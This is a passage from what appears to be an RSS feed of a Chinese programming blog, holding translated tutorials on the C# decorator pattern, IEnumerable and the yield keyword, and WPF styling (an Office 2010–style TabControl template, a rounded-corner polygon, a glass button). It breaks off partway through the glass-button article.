•	CakeWithCherryOnly
•	PastryOnly
•	PastryWithCreamAndCherry
•	PastryWithCreamAndCherryAndScent
•	PastryWithCreamAndCherryAndScentAndNameCard
•	PastryWithCherryOnly
•	等等等等&lt;/p&gt;
&lt;p&gt;这简直就是噩梦..我们用装饰器模式来实现把.
首先定义Component 接口&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;public abstract class BakeryComponent
{
    public abstract string GetName();
    public abstract double GetPrice();
}
&lt;/pre&gt; 
&lt;p&gt;前面说过了.这个类定义了能够动态添加功能的具体类(ConcreteComponents)的接口,好吧.然后来创建具体类ConcreteComponents&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class CakeBase : BakeryComponent
{
    // 真实世界里,这个值应该来自数据库等
    private string m_Name = &#34;Cake Base&#34;;
    private double m_Price = 200.0;

    public override string GetName()
    {
        return m_Name;
    }

    public override double GetPrice()
    {
        return m_Price;
    }
}

class PastryBase : BakeryComponent
{
    //真实世界里,这个值应该来自数据库等
    private string m_Name = &#34;Pastry Base&#34;;
    private double m_Price = 20.0;

    public override string GetName()
    {
        return m_Name;
    }

    public override double GetPrice()
    {
        return m_Price;
    }
}&lt;/pre&gt; 
&lt;p&gt;现在基对象准备好了.看看那些可以被动态添加的功能.我们看看Decorator  类&lt;/p&gt;</description>
    </item>
    <item>
      <title>实现IEnumerable接口&amp;理解yield关键字</title>
      <link>http://blog.leaver.me/2012/10/19/%E5%AE%9E%E7%8E%B0ienumerable%E6%8E%A5%E5%8F%A3%E7%90%86%E8%A7%A3yield%E5%85%B3%E9%94%AE%E5%AD%97/</link>
      <pubDate>Fri, 19 Oct 2012 07:33:12 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/19/%E5%AE%9E%E7%8E%B0ienumerable%E6%8E%A5%E5%8F%A3%E7%90%86%E8%A7%A3yield%E5%85%B3%E9%94%AE%E5%AD%97/</guid>
      <description>&lt;p&gt;本文讨论题目的内容。然后讨论IEnumerable接口如何使得foreach语句可以使用。之后会展示如果实现自定义的集合类，该集合类实现了IEnumerable接口。Yield关键字和遍历集合后面也讨论。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;一使用集合。就发现遍历集合就跟着来了。遍历集合最好的方式是实现迭代器模式-&lt;a href=&#34;http://www.codeproject.com/Articles/362986/Understanding-and-Implementing-the-Iterator-Patter&#34;&gt;Understanding and Implementing the Iterator Pattern in C# and C++&lt;/a&gt;(这篇文章我过几天翻译一下) ，C#提供foreach来以一种优雅的方式遍历&lt;/p&gt;
&lt;p&gt;只要集合实现了IEnumerable 接口就可以用foreach来遍历。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用代码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;首先先看一下内置的集合类如何使用foreach来遍历的。ArrayList实现了IEnumerable 接口。我们看一下&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;// 看一下实现了IEnumerable 接口的集合如何遍历
ArrayList list = new ArrayList();

list.Add(&#34;1&#34;);
list.Add(2);
list.Add(&#34;3&#34;);
list.Add(&#39;4&#39;);

foreach (object s in list)
{
    Console.WriteLine(s);
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;遍历泛型集合类&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Arraylist 是一个通用集合类，遍历泛型集合类也可以。因为这些泛型集合类实现了IEnumerable&amp;lt;T&amp;gt;接口，看一下吧。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;// 遍历实现了IEnumerable&amp;lt;T&amp;gt;接口的泛型类
List&amp;lt;string&amp;gt; listOfStrings = new List&amp;lt;string&amp;gt;();

listOfStrings.Add(&#34;one&#34;);
listOfStrings.Add(&#34;two&#34;);
listOfStrings.Add(&#34;three&#34;);
listOfStrings.Add(&#34;four&#34;);

foreach (string s in listOfStrings)
{
    Console.WriteLine(s);
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;发现了吧。我们自定义的集合类或是泛型集合类应该实现IEnumerable和IEnumerable&amp;lt;T&amp;gt;接口。这样就可以遍历了。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;理解yield关键字&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在写个实现接口的例子之前，先理解一下yield关键字，yield会记录集合位置。当从一个函数返回一个值的时候，yield可以用。&lt;/p&gt;
&lt;p&gt;如下的普通的方法。不论调用多少次，都只会返回一个return&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;static int SimpleReturn()
{
    return 1;
    return 2;
    return 3;
}

static void Main(string[] args)
{
    // 看看
    Console.WriteLine(SimpleReturn());
    Console.WriteLine(SimpleReturn());
    Console.WriteLine(SimpleReturn());
    Console.WriteLine(SimpleReturn());
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;原因就是普通的return语句不保留函数的返回状态。每一次都是新的调用。然后返回第一个值。&lt;/p&gt;
&lt;p&gt;但是使用下面的语句替换后就不一样。当函数第二次调用的时候。会从上次返回的地方继续调用&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;static IEnumerable&amp;lt;int&amp;gt; YieldReturn()
{
    yield return 1;
    yield return 2;
    yield return 3;
}
static void Main(string[] args)

{
    // 看看yield return的效果
    foreach (int i in YieldReturn())
    {
        Console.WriteLine(i);
    }
}&lt;/pre&gt;
&lt;p&gt;显然返回1，2，3，唯一要注意的就是函数需要返回IEnumerable。，然后通过foreach调用。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在自定义的集合类里实现Ienumerable接口&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;现在如果我们在我们的自定义集合里定义一个方法。来迭代所有元素。然后通过使用yield返回。我们就可以成功了。&lt;/p&gt;
&lt;p&gt;好。我们定义MyArrayList 类，实现IEnumerable 接口，该接口就会强制我们实现GetEnumerator 函数。这里我们就要使用yield了。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;class MyArrayList : IEnumerable
{
    object[] m_Items = null;
    int freeIndex = 0;

    public MyArrayList()
    {
        // 对了方便我直接用数组了，其实应该用链表
       m_Items = new object[100];
    }

    public void Add(object item)
    {
        // 考虑添加元素的时候
        m_Items[freeIndex] = item;
        freeIndex++;
    }

    // IEnumerable 函数
    public IEnumerator GetEnumerator()
   {
       foreach (object o in m_Items)
        {
           // 检查是否到了末尾。数组的话。。。没写好
            if(o == null)
            {
                break;
            }

            // 返回当前元素。然后前进一步
            yield return o;
        }
    }
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>模拟Office2010文件菜单的TabControl模板</title>
      <link>http://blog.leaver.me/2012/10/17/%E6%A8%A1%E6%8B%9Foffice2010%E6%96%87%E4%BB%B6%E8%8F%9C%E5%8D%95%E7%9A%84tabcontrol%E6%A8%A1%E6%9D%BF/</link>
      <pubDate>Wed, 17 Oct 2012 10:00:24 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/17/%E6%A8%A1%E6%8B%9Foffice2010%E6%96%87%E4%BB%B6%E8%8F%9C%E5%8D%95%E7%9A%84tabcontrol%E6%A8%A1%E6%9D%BF/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28185_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2ad13c7f6efeae2f1463e231f11d164126743c47.png&#34; title=&#34;1&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这是Office2010中的文件菜单点开后的效果。本文我将以强大的WPF来实现类似的效果。希望你能有所收获。而不是只拷贝/粘贴代码而已。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;开始之前。先把TabControl找个地方放着。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Window x:Class=&#34;TestClient.MainWindow&#34;

        xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;

        xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;

        Title=&#34;MainWindow&#34; Height=&#34;350&#34; Width=&#34;525&#34;&amp;gt;

    &amp;lt;TabControl Name=&#34;tabSteps&#34;&amp;gt;

        &amp;lt;TabItem Header=&#34;Info&#34; IsSelected=&#34;True&#34;&amp;gt;

            &amp;lt;TextBlock&amp;gt;Info content&amp;lt;/TextBlock&amp;gt;

        &amp;lt;/TabItem&amp;gt;

        &amp;lt;TabItem Header=&#34;Recent&#34;&amp;gt;

            &amp;lt;TextBlock&amp;gt;Recent content tab&amp;lt;/TextBlock&amp;gt;

        &amp;lt;/TabItem&amp;gt;

        &amp;lt;TabItem Header=&#34;New&#34;&amp;gt;

            &amp;lt;TextBlock&amp;gt;New content tab&amp;lt;/TextBlock&amp;gt;

        &amp;lt;/TabItem&amp;gt;

        &amp;lt;TabItem Header=&#34;Print&#34;&amp;gt;

            &amp;lt;TextBlock&amp;gt;Print content tab&amp;lt;/TextBlock&amp;gt;

        &amp;lt;/TabItem&amp;gt;

        &amp;lt;TabItem Header=&#34;Save &amp;amp;amp; Send&#34;&amp;gt;

            &amp;lt;TextBlock&amp;gt;Save &amp;amp;amp; send content tab&amp;lt;/TextBlock&amp;gt;

        &amp;lt;/TabItem&amp;gt;

        &amp;lt;TabItem Header=&#34;Help&#34;&amp;gt;

            &amp;lt;TextBlock&amp;gt;Help tab&amp;lt;/TextBlock&amp;gt;

        &amp;lt;/TabItem&amp;gt;

    &amp;lt;/TabControl&amp;gt;

&amp;lt;/Window&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;然后会大概是这个效果&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28186_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/797a20d8d2f0489af03c4d57e307fcf0c14657be.png&#34; title=&#34;2&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;为了改变TabControl的显示效果。我们使用模板机制，我们把模板写进一个资源字典里。这样就可以重用了。添加一个资源字典的步骤如下&lt;/p&gt;
&lt;p&gt;右键点击工程-添加-资源字典&lt;/p&gt;
&lt;p&gt;然后在资源字典里添加一些代码。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;  &amp;lt;ControlTemplate x:Key=&#34;OfficeTabControl&#34; TargetType=&#34;{x:Type TabControl}&#34;&amp;gt;

        &amp;lt;Grid&amp;gt;

            &amp;lt;Grid.ColumnDefinitions&amp;gt;

                &amp;lt;ColumnDefinition Width=&#34;160&#34; /&amp;gt;

                &amp;lt;ColumnDefinition/&amp;gt;

            &amp;lt;/Grid.ColumnDefinitions&amp;gt;

            &amp;lt;Border Background=&#34;#FFE9ECEF&#34;

                    Grid.Column=&#34;0&#34;

                    BorderBrush=&#34;LightGray&#34;

                    BorderThickness=&#34;1&#34;

                    SnapsToDevicePixels=&#34;True&#34; /&amp;gt;

            &amp;lt;StackPanel IsItemsHost=&#34;True&#34;

                        Grid.Column=&#34;0&#34;

                        Margin=&#34;0,0,-1,0&#34;

                        SnapsToDevicePixels=&#34;True&#34; /&amp;gt;

            &amp;lt;ContentPresenter

                Content=&#34;{TemplateBinding SelectedContent}&#34;

                Grid.Column=&#34;1&#34;

                Margin=&#34;15,0,0,0&#34; /&amp;gt;

        &amp;lt;/Grid&amp;gt;

    &amp;lt;/ControlTemplate&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;这样就添加了一个有一个grid元素的名为OfficeTabControl的控件模板 . Grid 被分成两列，一列是标签页，一列是页内容。左边的列包含一个灰色背景和亮灰色的边缘线，然后一个StackPanel，IsItemsHost属性被设置为true，&lt;/p&gt;
&lt;p&gt;这样标签项被会放在这个栈面板里。第二列是ContentPresenter 这会放置标签页内容。然后让我们前面的TabControl使用新模板。设置Template 属性。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt; &amp;lt;Window.Resources&amp;gt;

        &amp;lt;ResourceDictionary&amp;gt;

            &amp;lt;ResourceDictionary.MergedDictionaries&amp;gt;

                &amp;lt;ResourceDictionary Source=&#34;OfficeTab.xaml&#34; /&amp;gt;

            &amp;lt;/ResourceDictionary.MergedDictionaries&amp;gt;

        &amp;lt;/ResourceDictionary&amp;gt;

    &amp;lt;/Window.Resources&amp;gt;

    &amp;lt;TabControl Name=&#34;tabSteps&#34; Template=&#34;{StaticResource OfficeTabControl}&#34;&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;在这之前，先把资源字典加到窗体的Reesouce里。然后再设置。然后运行软件。效果会有一些不一样。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28187_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2ba7dae0ace3d2aba71967d816315b1b953d139b.png&#34; title=&#34;3&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后要修改左侧单个标签的显示效果。通过改变模板来实现。给模板添加如下的代码&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;ControlTemplate x:Key=&#34;OfficeTabControl&#34; TargetType=&#34;{x:Type TabControl}&#34;&amp;gt;

    &amp;lt;ControlTemplate.Resources&amp;gt;

        &amp;lt;Style TargetType=&#34;{x:Type TabItem}&#34;&amp;gt;

            &amp;lt;Setter Property=&#34;Template&#34;&amp;gt;

                &amp;lt;Setter.Value&amp;gt;

                    &amp;lt;ControlTemplate TargetType=&#34;{x:Type TabItem}&#34;&amp;gt;

                        &amp;lt;Grid SnapsToDevicePixels=&#34;True&#34;&amp;gt;

                            &amp;lt;ContentPresenter

                                Name=&#34;buttonText&#34;

                                Margin=&#34;15,0,5,0&#34;

                                TextBlock.FontFamily=&#34;Calibri&#34;

                                TextBlock.FontSize=&#34;12pt&#34;

                                TextBlock.Foreground=&#34;Black&#34;

                                Content=&#34;{TemplateBinding Header}&#34;

                                VerticalAlignment=&#34;Center&#34;/&amp;gt;

                        &amp;lt;/Grid&amp;gt;

                    &amp;lt;/ControlTemplate&amp;gt;

                &amp;lt;/Setter.Value&amp;gt;

            &amp;lt;/Setter&amp;gt;

        &amp;lt;/Style&amp;gt;

    &amp;lt;/ControlTemplate.Resources&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;然后再运行&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28188_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ded32740b808794d30171ba7b82b5b1c6c89a6c3.png&#34; title=&#34;4&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;VisualState很有意思。我们可以放在Grid里。然后设置正常状态和鼠标悬停的状态。&lt;/p&gt;
&lt;p&gt;为了添加鼠标悬停效果，我们添加两个Borders元素。一个右边缘是灰线，另一个用在背景上。亮蓝色放在上下边缘&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Border Name=&#34;hoverShape&#34;

        Height=&#34;40&#34;

        Margin=&#34;0,0,1,0&#34;

        SnapsToDevicePixels=&#34;True&#34;

        BorderThickness=&#34;0,0,1,0&#34;

        BorderBrush=&#34;LightGray&#34;&amp;gt;

    &amp;lt;Border BorderBrush=&#34;#FFA1B7EA&#34;

            BorderThickness=&#34;0,1&#34;

            Background=&#34;#FFE5EEF9&#34;

            Height=&#34;40&#34;

            SnapsToDevicePixels=&#34;True&#34; /&amp;gt;

&amp;lt;/Border&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;之后，我们为VisualState创建故事板，一个是正常状态。会使得hoverShape的透明度为0.另一个是鼠标悬停的状态。透明度会变成1&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Grid SnapsToDevicePixels=&#34;True&#34;&amp;gt;

    &amp;lt;VisualStateManager.VisualStateGroups&amp;gt;

        &amp;lt;VisualStateGroup Name=&#34;CommonStates&#34;&amp;gt;

            &amp;lt;VisualState Name=&#34;MouseOver&#34;&amp;gt;

                &amp;lt;Storyboard&amp;gt;

                    &amp;lt;DoubleAnimation

                        Storyboard.TargetName=&#34;hoverShape&#34;

                        Storyboard.TargetProperty=&#34;Opacity&#34;

                        To=&#34;1&#34;

                        Duration=&#34;0:0:.1&#34;/&amp;gt;

                &amp;lt;/Storyboard&amp;gt;

            &amp;lt;/VisualState&amp;gt;

            &amp;lt;VisualState Name=&#34;Normal&#34;&amp;gt;

                &amp;lt;Storyboard&amp;gt;

                    &amp;lt;DoubleAnimation

                        Storyboard.TargetName=&#34;hoverShape&#34;

                        Storyboard.TargetProperty=&#34;Opacity&#34;

                        To=&#34;0&#34;

                        Duration=&#34;0:0:.1&#34;/&amp;gt;

                &amp;lt;/Storyboard&amp;gt;

            &amp;lt;/VisualState&amp;gt;

        &amp;lt;/VisualStateGroup&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;之后效果如下&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28193_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/c3260420be7f836a117fde4fbf6f35cc91728bc9.png&#34; title=&#34;5&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>WPF绘制圆角多边形</title>
      <link>http://blog.leaver.me/2012/10/13/wpf%E7%BB%98%E5%88%B6%E5%9C%86%E8%A7%92%E5%A4%9A%E8%BE%B9%E5%BD%A2/</link>
      <pubDate>Sat, 13 Oct 2012 09:45:40 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/13/wpf%E7%BB%98%E5%88%B6%E5%9C%86%E8%A7%92%E5%A4%9A%E8%BE%B9%E5%BD%A2/</guid>
      <description>&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;最近，我发现我需要个圆角多边形。而且是需要在运行时从用户界面来绘制。WPF有多边形。但是不支持圆角。我搜索了一下。也没找到可行的现成例子。于是就自己做吧。本文描述了圆角多边形的实现，也包括如何用在你的项目里。在Demo里面的RoundedCornersPolygon 类是完整的实现。&lt;/p&gt;
&lt;p&gt;下载的Demo包括两部分&lt;/p&gt;
&lt;p&gt;1. 通过XAML绘制圆角多边形&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28036_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/83dd3b37c81d0d4e1a82e80ba69d00411930ce52.png&#34; title=&#34;1&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;2. 运行时创建圆角多边形&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28037_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/864fccf9677ea6ce52dad56c85cf7389108c6874.png&#34; title=&#34;2&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;
多边形可以被认为是沿着一个给定半径的圆的边缘和一些指定点/边。所构成的点的集合。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28038_o.gif&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/82969618833250386b07a5177dc8c454da0530e1.gif&#34; title=&#34;3&#34;&gt;&lt;/a&gt;
在WPF中。你可以给Polygon对象的Points属性添加一系列的点来制作多边形。&lt;/p&gt;
&lt;p&gt;XAML方式&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Canvas&amp;gt;
    &amp;lt;Polygon Points=&#34;10,50 180,50 180,150 10,150&#34; 
       StrokeThickness=&#34;1&#34; Stroke=&#34;Black&#34; /&amp;gt;
&amp;lt;/Canvas&amp;gt;&lt;/pre&gt;
&lt;p&gt;C#方式&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;var cnv = new Canvas(); 
var polygon = new Polygon {StrokeThickness = 1, Fill = Brushes.Black};
polygon.Points.Add(new Point(10, 50)); 
polygon.Points.Add(new Point(180, 50));
polygon.Points.Add(new Point(180, 150));
polygon.Points.Add(new Point(10, 150));
cnv.Children.Add(polygon);
this.Content = cnv;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;上面两个例子会输出下面的矩形&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28039_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/787268128d45598cff769b9209e41652a66775ae.png&#34; title=&#34;4&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用代码&lt;/strong&gt;
我写的RoundedCornersPolygon 类和普通的多边形类很相似。但是有更多的属性来控制圆角。首先。看一个例子。展示一下圆角矩形类的使用&lt;/p&gt;
&lt;p&gt;XAML方式&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Canvas&amp;gt;
    &amp;lt;CustomRoundedCornersPolygon:RoundedCornersPolygon Points=&#34;10,50 180,50 180,150 10,150&#34; 
               StrokeThickness=&#34;1&#34; Stroke=&#34;Black&#34; ArcRoundness=&#34;25&#34; 
               UseAnglePercentage=&#34;False&#34; IsClosed=&#34;True&#34;/&amp;gt;
&amp;lt;Canvas&amp;gt;&lt;/pre&gt;
&lt;p&gt;C#方式&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;var cnv = new Canvas();  
var roundedPolygon = new RoundedCornersPolygon
{
    Stroke = Brushes.Black, StrokeThickness = 1, 
    ArcRoundness = 25, UseAnglePercentage = false, IsClosed = true
};
roundedPolygon.Points.Add(new Point(10, 50));
roundedPolygon.Points.Add(new Point(180, 50));
roundedPolygon.Points.Add(new Point(180, 150));
roundedPolygon.Points.Add(new Point(10, 150));
cnv.Children.Add(roundedPolygon);
this.Content = cnv;&lt;/pre&gt;
&lt;p&gt;输出如下：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28040_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/fb11bced67d29f74ff4e539a8008871934d74c04.png&#34; title=&#34;5&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;多边形有四个主要属性
ArcRoundness 属性指定了从距离LineSegment终点多远的距离开始弯曲，通常和UseRoundnessPercentage 一起使用。UseRoundnessPercentage属性指定了ArcRoundness 值是百分比还是一个固定的值。&lt;/p&gt;
&lt;p&gt;举个例子。ArcRoundness 被设置成10，而且UseRoundnessPercentage 被设置成false，那么弯曲将会在距离线段终点10的地方开始。而如果UseRoundnessPercentage 被设置成ture。则会是从线段终点10%的地方开始弯曲。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;/// &amp;lt;summary&amp;gt; 
/// Gets or sets a value that specifies the arc roundness.
/// &amp;lt;/summary&amp;gt;
public double ArcRoundness { get; set; }

/// &amp;lt;summary&amp;gt;  
/// Gets or sets a value that specifies if the ArcRoundness property
/// value will be used as a percentage of the connecting segment or not.
/// &amp;lt;/summary&amp;gt;
public bool UseRoundnessPercentage { get; set; }&lt;/pre&gt;
&lt;p&gt;IsClosed 指定多边形的最后一个点是否和第一个点闭合。为了成为一个多边形。一般应该被设置为true&lt;/p&gt;</description>
    </item>
    <item>
      <title>一步步教你制作WPF圆形玻璃按钮</title>
      <link>http://blog.leaver.me/2012/10/12/%E4%B8%80%E6%AD%A5%E6%AD%A5%E6%95%99%E4%BD%A0%E5%88%B6%E4%BD%9Cwpf%E5%9C%86%E5%BD%A2%E7%8E%BB%E7%92%83%E6%8C%89%E9%92%AE/</link>
      <pubDate>Fri, 12 Oct 2012 09:31:00 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/12/%E4%B8%80%E6%AD%A5%E6%AD%A5%E6%95%99%E4%BD%A0%E5%88%B6%E4%BD%9Cwpf%E5%9C%86%E5%BD%A2%E7%8E%BB%E7%92%83%E6%8C%89%E9%92%AE/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28015_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/491dd2dbc974b8c78aee2f36006e65ad3e5533f2.jpg&#34; title=&#34;1&#34;&gt;&lt;/a&gt;
&lt;strong&gt;1.介绍&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;从我开始使用vista的时候，我就非常喜欢它的圆形玻璃按钮。WPF最好的一个方面就是允许自定义任何控件的样式。用了一段时间的Microsoft Expression Blend后。我做出了这个样式。我觉得做的还行。因为。我决定分享。如我所说。我使用Microsoft Expression Blend来做。但是。我也是用XAML编辑器&amp;ndash;Kaxaml。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.概述&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;玻璃按钮样式包含了三层。组织了玻璃效果（Glass Effect）和一个ContentPresenter 来存储按钮的内容。所有的这些层都在一个最外层的Grid里。当鼠标放到按钮上，按下去的时候也定义了一些触发器（Triggers），来增加一些交互。&lt;/p&gt;
&lt;p&gt;我把这个样式做成了资源文件。但是这个Key可以删除，来使得所有的按钮都是这个效果。&lt;/p&gt;
&lt;p&gt;好我们来看一下这些层次。这些被广泛应用在微软产品中的按钮。&lt;/p&gt;
&lt;p&gt;**3.按钮层次 **&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.1背景层&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;第一层是一个椭圆。其实是一个canvas，一会在上面画反射和折射层，填充的颜色和按钮的背景（Background）关联。&lt;/p&gt;
&lt;p&gt;下面是Blend中的截图&lt;/p&gt;
&lt;p&gt;图2
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28012_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2443ed6bf6b648418ee018a527c9a76eaf277716.png&#34; title=&#34;2&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;!-- Background Layer --&amp;gt;
&amp;lt;Ellipse Fill=&#34;{TemplateBinding Background}&#34;/&amp;gt;&lt;/pre&gt;
&lt;!-- Background Layer --&gt;
&lt;p&gt;&lt;strong&gt;3.1.1折射层&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;第二层模拟了光从上到下的折射。被放在反射层之前是因为，要达到反光玻璃的效果，反射层必须在按钮的中间某处有一个硬边缘。这一层实际上是另一个椭圆。但是这次。我们使用一个径向渐变（白色-透明）的填充。来模拟光的折射。渐变开始于第一层底部的中央。结束于上面的中间。然而。为了降低折射光的强度。渐变还是开始于椭圆的底部再下一点为好。可以从图上和代码里清晰的看到。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28013_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/9d0d815903ff370933cfca9fcd669ae09996e045.png&#34; title=&#34;3&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;&amp;lt;!-- Refraction Layer --&amp;gt;
&amp;lt;Ellipse x:Name=&#34;RefractionLayer&#34;&amp;gt;
  &amp;lt;Ellipse.Fill&amp;gt;
  &amp;lt;RadialGradientBrush GradientOrigin=&#34;0.496,1.052&#34;&amp;gt;
    &amp;lt;RadialGradientBrush.RelativeTransform&amp;gt;
      &amp;lt;TransformGroup&amp;gt;
        &amp;lt;ScaleTransform CenterX=&#34;0.5&#34; 
          CenterY=&#34;0.5&#34; ScaleX=&#34;1.5&#34; ScaleY=&#34;1.5&#34;/&amp;gt;
        &amp;lt;TranslateTransform X=&#34;0.02&#34; Y=&#34;0.3&#34;/&amp;gt;
      &amp;lt;/TransformGroup&amp;gt;
    &amp;lt;/RadialGradientBrush.RelativeTransform&amp;gt;
    &amp;lt;GradientStop Offset=&#34;1&#34; Color=&#34;#00000000&#34;/&amp;gt;
    &amp;lt;GradientStop Offset=&#34;0.4&#34; Color=&#34;#FFFFFFFF&#34;/&amp;gt;
    &amp;lt;/RadialGradientBrush&amp;gt;
  &amp;lt;/Ellipse.Fill&amp;gt;
&amp;lt;/Ellipse&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;!-- Refraction Layer --&gt;
&lt;p&gt;&lt;strong&gt;3.1.2反射层&lt;/strong&gt;&lt;/p&gt;
